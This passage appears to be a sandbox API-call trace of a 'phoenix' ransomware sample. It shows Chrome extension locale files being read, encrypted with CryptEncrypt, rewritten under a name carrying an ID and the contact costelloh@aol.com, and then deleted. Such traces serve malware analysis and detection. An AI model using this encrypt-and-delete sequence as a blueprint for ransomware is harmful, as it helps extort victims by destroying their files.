	[0262.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.631] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.631] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.632] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0262.632] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.632] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2b8, lpOverlapped=0x0) returned 1
	[0262.637] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2c0) returned 1
	[0262.637] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2c0, lpOverlapped=0x0) returned 1
	[0262.638] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0262.638] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.638] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.638] CryptDestroyKey (hKey=0x151140) returned 1
	[0262.638] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.639] CryptDestroyKey (hKey=0x151780) returned 1
	[0262.639] CloseHandle (hObject=0x2c0) returned 1
	[0262.639] CloseHandle (hObject=0x2c4) returned 1
	[0262.639] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json")) returned 1
	[0262.640] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.640] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=667) returned 1
	[0262.640] CloseHandle (hObject=0x2c4) returned 1
	[0262.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json")) returned 0x20
	[0262.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.641] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.641] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.642] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0262.642] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.642] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x29b, lpOverlapped=0x0) returned 1
	[0262.745] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0) returned 1
	[0262.745] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2a0, lpOverlapped=0x0) returned 1
	[0262.746] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0262.746] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.746] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.746] CryptDestroyKey (hKey=0x151300) returned 1
	[0262.746] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.747] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0262.747] CloseHandle (hObject=0x2c4) returned 1
	[0262.747] CloseHandle (hObject=0x2c0) returned 1
	[0262.747] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es_419\\messages.json")) returned 1
	[0262.748] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.748] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.748] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=941) returned 1
	[0262.748] CloseHandle (hObject=0x2c0) returned 1
	[0262.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json")) returned 0x20
	[0262.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.749] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.749] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.749] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0262.749] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.749] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3ad, lpOverlapped=0x0) returned 1
	[0262.795] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3b0) returned 1
	[0262.795] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3b0, lpOverlapped=0x0) returned 1
	[0262.796] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0262.796] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.796] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.796] CryptDestroyKey (hKey=0x151780) returned 1
	[0262.796] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.796] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0262.796] CloseHandle (hObject=0x2c0) returned 1
	[0262.796] CloseHandle (hObject=0x2c4) returned 1
	[0262.796] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hi\\messages.json")) returned 1
	[0262.797] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.797] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=633) returned 1
	[0262.797] CloseHandle (hObject=0x2c4) returned 1
	[0262.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json")) returned 0x20
	[0262.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.798] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.798] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.798] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0262.798] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.798] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x279, lpOverlapped=0x0) returned 1
	[0262.814] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x280, dwBufLen=0x280 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x280) returned 1
	[0262.814] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x280, lpOverlapped=0x0) returned 1
	[0262.815] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0262.815] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.815] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.815] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.815] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.815] CryptDestroyKey (hKey=0x151140) returned 1
	[0262.815] CloseHandle (hObject=0x2c4) returned 1
	[0262.815] CloseHandle (hObject=0x2c0) returned 1
	[0262.815] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hr\\messages.json")) returned 1
	[0262.816] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.817] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=617) returned 1
	[0262.817] CloseHandle (hObject=0x2c0) returned 1
	[0262.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json")) returned 0x20
	[0262.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.817] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.817] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.817] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.817] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0262.818] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
